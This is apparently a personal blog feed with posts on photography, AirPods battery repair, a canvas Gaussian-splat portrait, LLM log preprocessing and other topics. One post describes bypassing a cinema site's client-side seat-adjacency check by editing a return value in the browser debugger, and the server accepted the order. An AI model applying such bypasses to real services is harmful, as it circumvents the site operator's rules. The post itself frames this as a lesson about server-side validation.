Automation on Eliseo Martelli

We are a blip.

Tue, 28 Jul 2026 15:14:54 +0000

Why bother?

Why go to that event if people are rude, it’s a hassle, and in 10 years I won’t remember most of it anyway?

I know this feeling. It’s the cosmic version of nihilism.
You zoom out too far, and your life starts to look like static.

And yes, objectively, we are small. A blip.

But here’s the part that matters: even if you’re insignificant to the universe, you’re not insignificant to yourself.

Pain still hurts. Joy still feels good. Meaning still lands.

If someone offers you two lunches, one with your favorite food and one with something disgusting, you won’t be indifferent. You’ll pick the better one immediately.

That tells you everything: your life has value because it’s lived.

Not because other people care. Because you do.

I don’t think life comes with a built-in purpose.
I think purpose is local, and you write it day by day.

You choose what kind of life you can live with at night.

You choose whether this brief window of consciousness feels more like heaven or more like hell.

Sometimes when I feel small, I remind myself of this:

I may not change the whole world, but I can still be a spark.
A conversation, a photo, a gesture, a sentence, a decision. One small thing that shifts reality by one degree.

Maybe I won’t see the effect. That’s fine.

We are a blip. An absurdly privileged one.

For a short moment we get color, sound, taste, touch, people, ideas, love, grief, tension, beauty, boredom, and wonder.

Then it’s over.

So no, don’t live for “the world” in the abstract.

Live for you.
Build a life you’d choose again.

My objective is still simple: leave a net positive impact.
Some days are negative, some days are positive.
But the direction still matters.

AirPods Pro Case: Revived for €20

Wed, 24 Jun 2026 13:30:00 +0000

Last week, I wrote that my AirPods Pro case was dead. The battery wouldn’t hold a charge, and Apple’s only solution was to charge me €100+ for a replacement case.

Instead of throwing it away, I decided to try fixing it myself. It cost me €20 and took about 15 minutes.

Here is how to do it.

Finding a battery

I bought a replacement battery on eBay for €20. You need one specifically for the first-generation AirPods Pro case (model A2190).

To open and repair the case, I followed this video tutorial by iMeo:

The repair

The process is straightforward, but it requires steady hands.

First, you pry the inner assembly out of the outer white shell. A plastic spudger helps here to avoid scratching the plastic. Once the internals slide out, you need to disassemble the case further:

Detach the hall sensor.
Disconnect the flex cables for the setup button and the Lightning port.
Remove the motherboard.
Remove the old battery. It is held down by strong adhesive, so applying some gentle heat (a hair dryer works fine) makes it much easier to pry out.

Once the old battery is out, put the new one in place, and do all the steps in reverse.

The hardest part is reattaching the tiny flex cables to the logic board. They are incredibly small and delicate. I used tweezers and a magnifying glass to line them up. If you tear one of these ribbons, the case is done, so take your time.

The result

After clicking the cables back in and putting the case back together, it worked immediately. It now charges normally, holds a charge for days, and charges the earbuds without issues.

Paying Apple €120 for a replacement is a waste. If your case dies but the earbuds are still good, buy a cheap battery and spend 15 minutes fixing it. Just be careful with the flex cables.

My AirPods Pro Case is Dead

Tue, 16 Jun 2026 14:30:00 +0000

I got my AirPods Pro in February 2021. They’ve been my daily drivers for over five years, which, in the world of tiny lithium-ion batteries, is basically ancient history.

Now, the case has finally given up. It doesn’t work unless it’s plugged into a charger. The moment I pull the cable, it’s a brick.

It’s the classic symptom of a completely exhausted battery. If you’re in the same boat, there are a few things you can try before declared it dead, though I wouldn’t hold my breath.

The Factory Reset: Sometimes the firmware just gets stuck. Put the buds in the case, close the lid for 30 seconds, then open it and hold the setup button on the back for 15 seconds until the light flashes amber, then white.
The Deep Charge: If the battery hit absolute zero, the power management chip might be struggling. Take the buds out, plug the empty case into a wall charger, and leave it alone for two hours.

I tried both. Neither worked. The battery is just chemically finished.

The annoying part? My earbuds themselves were replaced in 2022 because of a microphone issue. They still hold a decent charge and sound fine. But because the case is dead, the whole set is essentially unusable.

Apple doesn’t replace these batteries. They just sell you a new case for €100-€120, or tell you to buy the new model.

It’s a distinct sting: holding a perfectly functional piece of engineering that has been rendered a paperweight because of a tiny, non-replaceable pouch of lithium. It’s the dark side of the wireless audio boom, brilliant convenience paired with built-in expiration dates.

I just bought the AirPods Max 2 in April. Knowing that they also have non user-replaceable batteries is… not encouraging.

However, there’s a small silver lining. The Max houses a much larger, traditional headphone battery. It undergoes far fewer charge cycles to deliver the same amount of listening time compared to the tiny cells in the Pro case, which are subjected to aggressive micro-discharging every single time you put them away.

The Max should, theoretically, last much longer. But it doesn’t change the underlying problem. We’re still buying products with a ticking clock inside.

If you’re stuck with a dead case and functional buds like me, don’t pay Apple’s tax for a new one. Check the secondhand market for standalone cases or look at reputable third-party chargers. It’s better than letting the whole set become e-waste.

These AirPods Pro have officially graduated to “gym headphones” status. I’ll keep the case plugged in at my desk and use them for workouts, where the battery of the buds will still last for a few hours. It’s not ideal, but it’s better than tossing them out.

Apple's lesson in how NOT to do optimistic updates

Wed, 03 Jun 2026 10:20:00 +0000

You’re listening to a song you love and want to save it. You click the favorite star and… nothing.

You wonder if you missed the button. Did the app freeze? You’re about to click again when, SECONDS later, the star finally turns red.

This is the current state of Apple Music (Version 1.6.5.10) on macOS 26.5.1.

Most apps use “optimistic updates.” When you like a post or star a song, the UI changes immediately. The app assumes the server request will work. If it fails, the UI just reverts later.

This makes everything feel fast. You shouldn’t have to wait for a server response just to see a star change color.

Apple Music does the opposite. It waits for the server to confirm the change before updating the UI.

In this video, you can see the lag. I click the star, and it stays empty for five seconds before finally filling in.

It’s not just slow; it’s confusing. When the UI doesn’t react instantly, you lose confidence in the app. You end up double-checking your own actions.

It bums me out. I’ve bought so many Apple products and services over the years, most recently the AirPods Max 2, and it’s discouraging to see such a clunky experience in a core app. For a company that markets “fluidity,” this is a basic failure.

It’s another sign of declining software quality. If a tiny startup can make a button feel instant, Apple can too.

Tim, we’re still not cooking.

The Song in Question

Logbook - May 7, 2026

Thu, 07 May 2026 09:05:00 +0000

Yesterday morning I watched a puddle drying up, taken by force by the sun’s rays.
A “necessary” violence to make room for the next puddle.

Transformation is an act of rupture, and at this moment, I feel I am in a phase of transformation.

Today I feel a bit like that puddle: a bit mortified, a bit disappointed, and a bit of a disappointment.

Does evaporating mean failing?

A Gaussian Splat Portrait on the Homepage

Sat, 28 Mar 2026 12:00:00 +0000

I recently watched a video by Tsoding where he rendered a full 3D scene using just a plain canvas 2D element, without any WebGL or Three.js.

The core of the video was a simple formula to calculate the position of each pixel:

given (x, y, z)
x' = y / z
y' = x / z

It tickled the part of my brain that loves graphics and it was enough to make me want to try the same thing on my homepage portrait. I wanted to create a 3D portrait that could be rotated and viewed from different angles, all using just Canvas 2D and some math.

Some months ago, I was playing around with Apple’s ml-sharp, which can reconstruct a 3D point cloud from a single photo.

At that time, I didn’t have a use for it, but it seemed like the perfect tool for this project.

This technique is called Gaussian Splatting. It uses millions of semi-transparent 3D blobs, each with a position, opacity, color, scale, and rotation. Render them back-to-front and you get surprisingly good results, especially on faces.

One photo in. One .ply file out.

I ran ml-sharp on a portrait of me and got a .ply file with ~689,000 gaussians. Most of them were background noise. I loaded it into superspl.at/editor and cropped everything that wasn’t my face.

Still way too many points. And the raw .ply format is huge. None of that is useful for a grayscale web viewer.

689k gaussians at 60+ bytes each isn’t something you ship over the wire. I wrote a Python script to cut it down.

The core idea: not all gaussians matter equally. A tiny opaque one is a sharp detail — an eye, a lip edge. A huge transparent one is blurry fill. Score by opacity / volume, importance-sample down to 15k, and you keep what the eye actually sees:

1volume = np.exp(s0 + s1 + s2)
2importance = opacity / (volume + 1e-8)
3importance /= importance.sum()
4idx = rng.choice(len(x), size=min(N, len(x)), replace=False, p=importance)

Then quantize positions to uint16 and pull grayscale brightness from the DC term of the spherical harmonics. Pack it all into a tight binary struct:

1def quant(a):
2 lo, hi = a.min(), a.max()
3 return lo, hi, np.round((a - lo) / (hi - lo) * 65535).astype(np.uint16)
4
5dt = np.dtype([("x", "<u2"), ("y", "<u2"), ("z", "<u2"), ("a", "u1"), ("b", "u1")])

Five fields per point, no JSON, no headers.

To view it, I wrote a single TypeScript component, no dependencies. Each frame it rotates the points around Y then X, depth-sorts them furthest-first, draws each one as a 3×3 square into an ImageData buffer with alpha blending, and flushes with putImageData.

The projection is just perspective division:

1const rx = x[i] * cosY + z[i] * sinY;
2const rz = -x[i] * sinY + z[i] * cosY;
3const ry2 = y[i] * cosX - rz * sinX;
4const rz2 = y[i] * sinX + rz * cosX;
5const d = rz2 - CAM_Z;
6const sx = (W * 0.5 + (FOCAL * rx) / d + 0.5) | 0;
7const sy = (H * 0.5 + (FOCAL * ry2) / d + 0.5) | 0;

Mouse gives ±4° rotation. Touch drives a sinusoidal pan that coasts a little after you lift your finger. An IntersectionObserver kills the animation loop when the element isn’t on screen. The circular crop is rounded-full overflow-hidden on the wrapper.

15,000 points is genuinely not that many. I expected it to look sparse. It doesn’t, the face reads clearly, rotation gives real depth, and it moves in a way a flat photo can’t. Surprised at how well it held up.

Darkroom: Silver Gelatin Print at Spazio Gnu

Mon, 09 Mar 2026 09:54:00 +0000

Yesterday I spent my afternoon at Spazio Gnu, a shared photography space in Turin, Italy.
As someone who spends a lot of time working with digital tools (mostly programming, photo editing, and video editing), stepping into a space where there are no “undo” buttons or history states was a refreshing shift.

For this session, I used a DURST M700 enlarger, along with a box of FOMA Fomaspeed Variant 311 High Gloss RC paper (8x10 inches), some rolls of home developed film, a pack of Ilford Multigrade filters, and a few trays of chemicals.

I ended up walking away with a total of 8 prints, which I consider a solid outcome for a first attempt at silver gelatin printing.

Spazio Gnu’s darkroom is organized into two (and an half) areas:

A dry area, where you have the enlargers and the workbench to handle the negatives and the paper.
A wet island at the center of the room where you have water and trays to develop the prints.
A drying area with a roller dryer to speed up the drying process.

The process of making a print requires a lot of patience and attention to detail.

One of the first steps is to mix the chemicals. Chemicals used in the darkroom are typically divided into three categories: developer, stop bath, and fixer.

Developer: This chemical makes the latent image appear on the paper. I used ILFORD MULTIGRADE developer, mixed at a standard ratio of 1+9 with water.
Stop Bath: This abruptly brings the development to an end and prevents contamination of the next bath. I used ILFORD ILFOSTOP at a 1+19 dilution.
Fixer: Makes the image permanent. ILFORD RAPID FIXER, mixed at 1+4.

Before committing to a full sheet of paper, I made a test print to find the correct exposure. By using my hand to cover part of the paper, I exposed the sheet in 5-second increments (from 5 to 25 seconds), creating a gradient of exposures on the same strip. Examining this test print allowed me to estimate the correct exposure for the final image. I ended up choosing 15 seconds as the optimal base exposure.

Because FOMA 311 is a variable contrast paper, I also had to select the right filter to achieve the desired contrast. The ILFORD MULTIGRADE filters range from 00 (very soft) to 5 (very hard). I predominantly used a grade 2 filter, which produces a good range of print tones for an average negative.

On one of the prints, the subject was rendering a bit too dark, so I decided to experiment with a technique called “dodging.” Dodging involves using your hands or pieces of card to hold back light from selected areas of the print during exposure. By physically blocking the enlarger’s light over my subject for a few seconds, I was able to lighten them and bring out more detail in the shadows.

After exposing the paper, the real magic happens in the wet area.

I slid the paper into the developer tray. While the image begins to appear almost immediately, the print needs a full 50 seconds in the developer to fully mature. Then, using tongs, I transferred it to the stop bath and rocked the dish for about 30 seconds. Finally, it went into the fixer to make the image permanent. (While ILFORD notes fixing takes only 30 seconds in fresh solution, I left mine in for about a minute to be safe).

After a quick wash in running water to remove any residual chemicals, I ran the prints through the roller dryer.

Holding 8 physical photographs that you crafted entirely by hand is a highly rewarding experience. Each print has its own unique character and subtle imperfections, adding to its charm. Seeing an image slowly emerge in the developer tray is a tactile experience that no digital workflow can replicate.

The Bloat of Modern Fitness Apps

Sat, 21 Feb 2026 10:00:00 +0000

Over the past week, I’ve been making an effort to strike a balance between my digital and analog life. Between finally having the time to do some personal projects, and my usual photography walks, I started to rely on the gym as my analog escape, thanks to my friends. I just want to put on my headphones, listen to some Burial or JPEGMafia to tune out the background noise, and lift.

The current state of digital fitness tools makes that surprisingly difficult. Rather than acting as a simple tools that do one thing well, the modern fitness app has become a bloated, privacy-invading ecosystem.

I tried out a few popular fitness apps, and the experience was underwhelming.

One of the biggest mistake gym apps make is demanding too much cognitive load before you even log a workout. During onboarding, they want you to set up an entire multi-day split, enter exact body stats, and sit through tutorials. When using the app at the gym, resting for 60 seconds between sets, I need a frictionless interface. Everything else just interrupts the physical flow.

Human physiology isn’t a simple math equation. When an app rigidly demands that you maintain a streak or push through six consecutive training days without rest, it ignores the realities of life and fatigue.

Fitness apps collect incredibly intimate data, from geolocation to biometric vitals, yet many operate with broadly-worded privacy policies that allow them to share this information with third-party data brokers and advertisers.

At the end of the day, a fitness app should be a good appliance: it should capture the data perfectly, feel great to use, and then get completely out of your way.

A Braun clock for a $30 handheld

Tue, 17 Feb 2026 14:45:00 +0000

A week ago, Francesco and I bought a couple of R36S handhelds. Or at least, that’s what the listing said.

What we got was the Y3506_V05_20251215 revision. It’s a clone of a clone. If you’ve played with these cheap Chinese SBCs before, you know the drill: you flash a standard image, and the screen stays black because the driver is slightly different. It’s a hardware lottery.

In our case, we had to use DTB files from this repo, and we used the ArkOS image from here.

But once the firmware is sorted, the hardware is surprisingly charming. The transparent shell is pure 90s nostalgia, and the screen is actually good for the price.

I didn’t want it just for emulating Game Boy and PlayStation games, though. I wanted it to be useful on my desk.

Every time I work from Francesco’s place, I’m distracted by his Braun BC03 clock. It’s a Dieter Rams masterpiece. It follows the “Less, but better” philosophy that modern tech seems to have forgotten. It does one thing, and it does it with absolute clarity.

So, I wrote bc03-r36s.

When I started building this, the obvious path was to use PNGs for the face and the hands. But that felt like cheating. A Braun-inspired tool should be defined by its geometry, not by a bitmap.

The “cool” part of the code is that there isn’t a single image file in the repository. Everything is drawn directly via SDL_RenderGeometry. This allows for drawing arbitrary shapes on the GPU by defining vertices, which is much cleaner than using SDL_RenderCopyEx with pre-rendered textures.

The core of the rendering is the draw_rotated_rect function. It takes a center point, dimensions, and an angle, then calculates the rotation matrix to position the vertices.

 1void draw_rotated_rect(SDL_Renderer *renderer, int cx, int cy, float length,
 2 float width, float angle, int offset_back) {
 3 float half_w = width / 2.0f;
 4
 5 // Define corners relative to the rotation point
 6 Pointf corners[4] = {
 7 {-half_w, (float)offset_back},
 8 {half_w, (float)offset_back},
 9 {half_w, -length},
10 {-half_w, -length}
11 };
12
13 SDL_Vertex vertices[4];
14 // ... apply rotation and draw
15 SDL_RenderGeometry(renderer, NULL, vertices, 4, indices, 6);
16}

The offset_back parameter is the secret sauce. If you look at a real BC03, the second hand doesn’t start from the center; it has a small counterweight that extends backwards. By adding a 30px offset, I captured that specific analog feel.

Fractional Movement

Most digital clocks just jump every second. It looks “digital” and cheap. Real analog movements have gears. To mimic this, I didn’t just use timeinfo->tm_sec. I calculate the angles using the fractional parts of the time:

1float sec = timeinfo->tm_sec;
2float min = timeinfo->tm_min + (sec / 60.0f);
3float hr = timeinfo->tm_hour + (min / 60.0f);

This means the hour hand moves gradually as the minutes pass, and the minute hand moves as the seconds pass.

The project has four themes (Stealth, Classic, Contrast, and Nightstand), all keeping the iconic yellow second hand.

Download the latest release from the GitHub repo.

Automating my CV with LaTeX and GitHub Actions

Fri, 13 Feb 2026 10:00:00 +0000

After two wonderful, albeit intense years, working with Consortium GARR on bioinformatics tools, it’s time for a new challenge. I’m officially back on the market.

Being a developer, passionate about automation and reproducibility, with a strong background in “DevOps”, I couldn’t just write a CV in a word processor and call it a day. It has to be version controlled, reproducible, and automated.

For years, I’ve used LaTeX for most of my writing needs, including my resume. It’s stable, looks professional, and most importantly, it’s plain text, which means I can use all the tools I’m most confortable with: Git, Vim, and of course all the good UNIX command line tools.

Since I’m easily annoyed by WYSIWYG editors, and I don’t want to deal with formatting issues every time I need to edit something, I created a zero-thought workflow for my CV. With a custom command to keep the formatting consistent, a simple Makefile to build the PDF, and a GitHub Action to automate the release process, I can focus on what really matters: describing my experience and skills.

The custom command \resumeItem is something like this:

 1\newcommand{\resumeItem}[5]{
 2 \noindent \textbf{#1} \hfill \textbf{#2}
 3 \ifboolexpr{test {\ifstrempty{#3}} and test {\ifstrempty{#4}}}{}{
 4 \\
 5 \textit{#3} \hfill #4
 6 }
 7 \ifstrempty{#5}{}{
 8 \begin{itemize}[noitemsep,topsep=0pt,leftmargin=1.5em]
 9 #5
10 \end{itemize}
11 }
12 \vspace{1em}
13}

The GitHub Action is triggered on every push to the repository, and when I push a tag, the workflow creates a GitHub Release with the PDF attached.

This setup ensures that I always have a “production-ready” version of my CV available at a stable URL. No more “CV_final_v2_new.pdf” files floating around.

If you’re looking for a developer who treats everything, even his resume, with the rigor of a production system, let’s talk.

Finding the needle in the logstack: Reducing LLM context with TF-IDF

Thu, 05 Feb 2026 20:51:00 +0000

If you’ve ever looked at a build log for a complex project, you know the feeling. It’s a wall of text-thousands of lines of dependency resolutions, compiler warnings, and progress bars. Somewhere in there, a missing header file is hiding, but finding it is a chore.

At work, we’ve been building AI-Harness (part of the broader Rebel ecosystem), a tool designed to autonomously fix these build failures. While Rebel acts as a reproducible environment manager for bioinformatics, handling the mess of apt, conda, and pip dependencies—, AI-Harness` is the “self-healing” layer.

Our immediate goal was to seed a database of missing dependencies: essentially mapping specific compiler or linker error messages to the exact system packages required to fix them. The idea is simple: feed the log to an LLM, and let it figure out what’s missing. But there’s a catch.

The “Lost in the Middle” Problem

Modern LLMs have massive context windows, but they aren’t magic. Research like “Lost in the Middle” (Liu et al., 2023) shows that models follow a U-shaped performance curve. They are great at remembering the beginning and the end of your prompt, but they get “lost in the middle.”

When you dump a 1MB log into a prompt, the actual error message often ends up buried right in that middle-zone. The model loses its reasoning capabilities, and instead of a fix, you get a hallucination or a generic “I don’t see any errors.”

Signal vs. Noise

To solve this, I implemented a preprocessing pipeline that uses TF-IDF and Cosine Similarity to find the most relevant chunks of the log before the LLM even sees it. This is a technique I’ve previously used for this blog’s recommendation system, and it turns out to be just as effective for log analysis.

The logic is essentially a mini-search engine:

Chunking: We break the log into 10-line windows.
TF-IDF: We rank terms so that common noise (like building, at, the) is ignored, while rare “signal” terms (like SegmentationFault, AttributeError, or undefined reference) are prioritized.
Cosine Similarity: We compare each chunk against a targeted query: "error failure exception traceback".

Instead of giving the LLM the entire log, we give it the top K=10 chunks that mathematically look most like an actual failure. We arrived at this number after running a series of experiments to find the “elbow” of the success rate curve—at 10 chunks, we maximize signal without overwhelming the context window.

Does it actually work?

We tested this against a dataset of 245 failed dependency installations from the CRAN (R) ecosystem. The results were pretty stark:

Configuration	Success Rate
Raw Log	38.0%
TF-IDF	74.3%

By being selective about what we show the model, we effectively doubled the success rate. It turns out that even for “intelligent” models, less is often more.

If you are interested in the math or the implementation, the project lives over at Rebel and AI-Harness. It’s a reminder that even in the age of LLMs, classic Information Retrieval techniques still have a lot to teach us about building the robust, reproducible environments that open science requires.

Developing Kodak Tri-X 400 at 1600 ISO in Bellini Euro HC

Tue, 06 Jan 2026 09:20:00 +0000

Many of you might know that I’ve recently started shooting more film, and I’ve fallen in countless deep rabbit holes, like scanning. But one of the most exciting aspect of film photography, for me, is the darkroom process itself.

I’ve already experimented developing Harman’s Kentmere 400 but I have to perfect my process for it. Today I want to share my approach to developing Kodak Tri-X 400 pushed to 1600 ISO.

I develop in a Lab-Box. It’s partly similar to the Agda Rodinax (link in italian), that solves the darkroom-less problem, but since I want to save water and chemicals, I opted to introduce a new variable: continuous agitation, that changes the way the chemistry interacts with the silver in the film.

The Calculation

There’s no standard time for Tri-X in Bellini Euro HC (Dilution B). What I did was to go to Massive Dev Chart for Kodak Tri-X and find the time for HC-110 at 1600 ISO, wich is 16:00 at 20°C, dilution B, with standard agitation. But continuous agitation increases the chemical activity. The developer is always fresh against the emulsion, so the process happens faster. Also the push of 2 stops means we need to extend the time.

To compensate, I used my film calculator to find the right development time.

Development Bellini Euro HC

Dilution 1+31 - Dilution B

Time 6:20

Temperature 20°C

Push +2 stops

Agitation Continuous rotation

The mix: 10ml Euro HC + 290ml Water. Need help with the ratios? Check the dilution tool.

For the stop bath, I keep it simple. Water. 3 cycles of rotation to ensure the development is fully halted across the entire roll.

Stop Bath Water

Time 1:00

Temperature 20°C

Agitation 3 cycles of 20 seconds rotation

Then, the fixer. Bellini FX-100. It’s fast and reliable.

Fixer Bellini FX-100

Dilution 1+4

Time 3:00

Temperature 20°C

Agitation Continuous rotation

The mix: 60ml Fixer + 240ml Water.

Washing in a Lab-Box can be water-intensive if you aren’t careful. I use the “Ilford Method,” adapted for rotation. It’s efficient and ensures archival stability without wasting liters of water.

Wash Water

Time 3:30

Temperature 20°C

Agitation 3 cycles: 30s, 1m, 2m rotation

Finally, the wetting agent. This is the finishing touch, ensuring the final negatives are clean and streak-free. I use Bellini Stab.

Wetting Agent Bellini Stab

Dilution 1+299

Time 2:00

Temperature 20°C

Agitation Gentle rotation

The mix: 1ml Stab + 300ml Water.

The Results

Since I’m not patient enough to wait for natural evaporation I hung the film to dry in a room with a dehumidifier running.

The negatives look promising. The contrast is punchy, and the highlights are dense without being blocked up. Most importantly, the edge markings are crisp and legible. In the darkroom, legibility is the definitive proof of your development time. If the text is clear, the chemistry worked.

Goodbye 2025

Wed, 31 Dec 2025 17:45:00 +0000

As 2025 comes to a close, I’m taking a moment to commit this year to the archives (pun intended).
It’s been a year defined by contrast. On one hand, I’ve seen growth in my personal and professional life, but on the other hand, it required navigating through plenty of friction.

I’ve had the opportunity to reconnect with old friends and enjoy company of my collegues. These genuine connections have been enriching my life in ways I can’t quantify.

I also faced challenges that tested my resilience, some originating from people I trusted. While difficult, these experiences have taught me valuable lessons about the value of boundaries and the importance of surrounding myself with people who uplift me.
It reinforced my own core principles:

Create meaningful contributions that benefit others.
Pursue what feels truly meaningful to me.
Ensure my actions align with my values and ethics.

This year marked a tremendous change to my hobbies. I reignited my passion for photography, capturing moments with friends, and the beauty of the mundane.
A passion that I’ve been able to share with others, leading to new friendships and influencing other friends to pick up the camera themselves.

Thank you to everyone who has been part of the loop this year. Your support means everything.

See you in the new year.

Reverse Engineering the Cinema: Bypassing Seat Adjacency Rules with DevTools

Sat, 27 Dec 2025 14:33:00 +0000

The Christmas season is here, and with it the tradition of gathering the family for a movie.
We have all been there: you navigate to the cinema’s booking site, find that perfect row in the center of the theater, and click to select your seats.

But instead of confirming, the website throws an error: “You cannot leave a single seat empty” or “Please select adjacent seats.”

It is a case of aggressive business logic interfering with user experience. The site was enforcing a “no orphan seat” rule, forcing me to sit next to strangers or pick a worse row, even though the seats I wanted were available.

So, instead of changing my seats, I changed the code. Here is how I used the browser’s debugger to get the seats I actually wanted.

The Problem: Client-Side Validation

Websites often use JavaScript to validate user input before sending it to the server. In this case, the cinema site was using JavaScript to check the “geometry” of my seat selection in real-time.

The logic was simple: check the seats to the left and right of my selection. If my choice created an “orphan” (a single empty gap), the function returned false, triggering an error and preventing the seats from being added to the cart.

Since this validation was happening entirely in my browser, I had full control over it. I just needed to find the switch.

The Hunt: Search, Trace, Locate

I searched the frontend source code for the specific Italian localization string of the error message I was seeing. Once I found the error string, I looked for the specific conditional statement that triggered it. That trigger led me backwards to a specific validation function in the JavaScript bundle: scope.ic.checkJacketSeat.

 1// Original function snippet with added comments.
 2scope.ic.checkJacketSeat = function(seatIds) {
 3 // ...omitted code...
 4 var prevFree = false;
 5 var fromLeft = true;
 6
 7 // Sort the row to scan usually
 8 row.sort(function (a, b) { return a.colonna - b.colonna; });
 9
10 for (var i = 0; i < row.length; i++) {
11 // If we hit a selected seat, and the previous seat was "free" (a gap)
12 // Then we are not anchored to the left.
13 if (selectionIds[row[i].idposto] && prevFree) {
14 fromLeft = false;
15 }
16 // "prevFree" is true if the seat is neither selected nor busy
17 prevFree = !selectionIds[row[i].idposto] && !row[i].busy;
18 }
19
20 // ... (The code then repeats this logic for the Right side)
21
22 // If we have gaps on BOTH sides, block the purchase.
23 // THIS IS THE KEY CHECK WE WANT TO BYPASS!
24 if (!fromRight && !fromLeft) {
25 return false;
26 }
27
28 return true;
29};

The logic is surprisingly simple. It scans the row from both directions. If your selection is preceded by a “gap” (a seat that is neither sold nor selected by you) on both the left and the right, it flags you as an invalid selection.

The Fix: Bypass the Check

With the function located, I could now override it. Using the browser’s DevTools.

I opened the Sources tab in DevTools and located checkJacketSeat.
I set a breakpoint right inside the function.
When I clicked my desired seat, the browser paused execution.
I stepped through the code until I reached the final check.
Just before the function returned, I modified the return value to true.

The UI immediately updated, marking the seats as valid (blue). The server, trusting the client’s validation, accepted the order without complaint.

If you are a developer, this is a gentle reminder: Client-side validation is a suggestion, not a “law”.

It is excellent for User Experience (giving instant feedback), but it is useless for security or strict business logic enforcement. If you have strict rules about seat spacing, they must be enforced on the server. Otherwise, a user with a debugger is only a breakpoint away from sitting wherever they want.

Adjusting the Rangefinder Horizontal Alignment

Mon, 24 Nov 2025 00:38:00 +0000

First things first, let me take this out of the way: I am not a professional camera technician. However, I have had to adjust the rangefinder horizontal alignment on several Leica cameras, and I have found a method that works well for me. Proceed with caution and at your own risk. Poking tools inside your camera carries significant risk. If you are uncomfortable with precision adjustments, please send your camera to a qualified technician.

The Diagnosis

Before even thinking about adjusting the rangefinder, you need to confirm that it is indeed misaligned. The most straightforward way I have found to do this is to:

Pick a target with high contrast details, such as a newspaper or a brick wall at a focus distance you feel comfortable working with (e.g., 1-3 meters).
Focus the lens and check the patch. The image should be sharp and the two images should align perfectly.
Take a test shot and review it. If the image is not sharp, it may indicate a misalignment.

Am I back/front focusing?

Before adjusting the rangefinder, it’s crucial to determine whether your camera is back-focusing or front-focusing.

This can be done by taking a series of test shots, wiggle the focus ring slightly back and forth around the point where you believe the focus is sharpest. If the sharpest focus occurs when the focus ring is slightly turned towards infinity, your camera is back-focusing. Conversely, if the sharpest focus occurs when the focus ring is turned slightly towards the minimum focus distance, your camera is front-focusing.

The Adjustment

What you will need:

2mm Hex Key (Allen Wrench): High quality is essential. A cheap one may strip the screw.
A high contrast target for focusing.
Patience and a steady hand.
A lens that you are comfortable working with.
Good lighting conditions.

Pictured: Leica M (typ 240).

Steps:

Start by putting yourself at 2 meters from the target, straight on, and focus the lens carefully on that target, using the rangefinder patch.
Take a test shot and review it.
Remove the lens from the camera body.
Locate the rangefinder adjustment screw. The screw on the roller is for horizontal alignment.
Using the 2mm hex key, make small adjustments to the screw.
After each adjustment, reattach the lens, focus on the target again, and take a test shot.
Review the test shot to see if the focus has improved.
Repeat the adjustment process until the focus is sharp.

Always apply gentle, steady torque.

Note: Rangefinders are designed to be calibrated at infinity focus. However, many users find it more practical to calibrate at a closer distance, such as 2 meters. This is because most of their photography occurs at closer distances, and calibrating at 2 meters can provide better accuracy for their typical shooting scenarios.

A lens on the ground

Sat, 22 Nov 2025 13:19:00 +0000

I recently decided to add a Leica Elmarit-M 90mm f/2.8 to my kit.
I found a copy at New Old Camera in Milan for €650, a steal, frankly. The catch? A “non-original red dot” with a bit of excess glue. A cosmetic imperfection that shaved €500 off the normal price. Perfect for me.

It arrived yesterday. I unboxed it, then 10 hours later I dropped it.

There is a specific kind of silence that fills a room when a piece of precision German engineering hits the floor. It’s heavy. It’s expensive.

It fell right out of my hands. The sound was sickening. I didn’t even want to look. When I finally picked it up, the telescopic hood had taken the entire impact. It’s dented. A distinct, metal scar on a lens I had owned for less than an afternoon.

My first reaction was visceral panic. But then my brother reminded me of an interview I watched recently with Ivo Saglietti (incidentally, also on NOC’s channel). He talks about his Leica M6 not as a fetish object, but as an extension of his hand and eye. Battered, brassed, scratched, and infinitely more beautiful for it.

I checked the focus ring. Smooth as butter. I checked the glass. Intact. I checked the aperture. Clicky and precise.

The lens took a bullet for me. Before the drop, it was just an asset with a resale value. Now, it is unequivocally mine. It has a story.

Cameras and lenses are meant to be meat, not idols. They are tools for capturing reality, and reality is messy, imperfect, and sometimes hits the floor.

I can’t mount a filter on it anymore I think. The hood sticks a little when I retract it in certain positions. But I suspect I will take better photos with it now than I would have if I were terrified of scratching it.

It’s not “mint” anymore. It’s better. It’s used.

The API of a Camera and the Unix manifesto

Mon, 17 Nov 2025 12:16:00 +0000

As software developers we are keen to discuss APIs, interfaces, and the beauty of well-crafted systems. We appreciate clarity, intentionality and the power that comes from a focused set of capabilities. The Unix philosophy, taken as a cultural norm of minimalist and modular components, brought us the Unix operating system.

The unix philosophy is pretty simple:

Make each program do one thing well. To do a new job, build afresh rather than complicate old programs by adding new “features”.
Expect the output of every program to become the input to another, as yet unknown, program. Don’t clutter output with extraneous information. Avoid stringently columnar or binary input formats. Don’t insist on interactive input.
Design and build software, even operating systems, to be tried early, ideally within weeks. Don’t hesitate to throw away the clumsy parts and rebuild them.
Use tools in preference to unskilled help to lighten a programming task, even if you have to detour to build the tools and expect to throw some of them out after you’ve finished using them.

But I think this philosophy can be applied to other tools we use in our daily lives, even outside the “digital realm”.

If you know me and you read this blog, you know that I’m also a photographer in my (always-decreasing) free time. For me, the Unix philosophy finds its expression in the Leica M line.

Consider the core controls: shutter speed, ISO, and aperture (on the lens). That’s it. It’s a beautifully constrained “API” for the act of photography. There are no distracting modes, no infinite menus to navigate, no array of buttons whose functions you constantly forget. It’s a deliberately designed camera that deeply resonates with my appreciation for clean architecture.

It brings to mind the profound words of Edsger W. Dijkstra:

We are all shaped by the tools we use, in particular: the formalisms we use shape our thinking habits, for better or for worse, and that means that we have to be very careful in the choice of what we learn and teach, for unlearning is not really possible.

This quote encapsulates why the simplicity of a Leica M influences creativity. You stop thinking about how to operate the camera and start thinking about how to see the light, compose the frame, and capture the moment. The camera becomes an extension of intent.

In contrast, many modern cameras, while technically astounding, present an overwhelming “API surface.” With countless buttons, custom modes, and nested menus, they introduce a cognitive load that can pull the photographer away from the art itself. It’s exactly like the difference between a well-designed command-line tool that does one thing well, and a GUI mega-application monolith that tries to do everything, clumsily.

Another great quote from Dijkstra speaks about emotion:

As my very last remark I should like to stress that the tool as a whole should have still another quality. It is a much more subtle one; whether we appreciate it or not depends much more on our personal taste and education and I shall not even try to define it. The tool should be charming, it should be elegant, it should be worthy of our love. This is no joke, I am terribly serious about this. In this respect the programmer does not differ from any other craftsman: unless he loves his tools it is highly improbable that he will ever create something of superior quality.

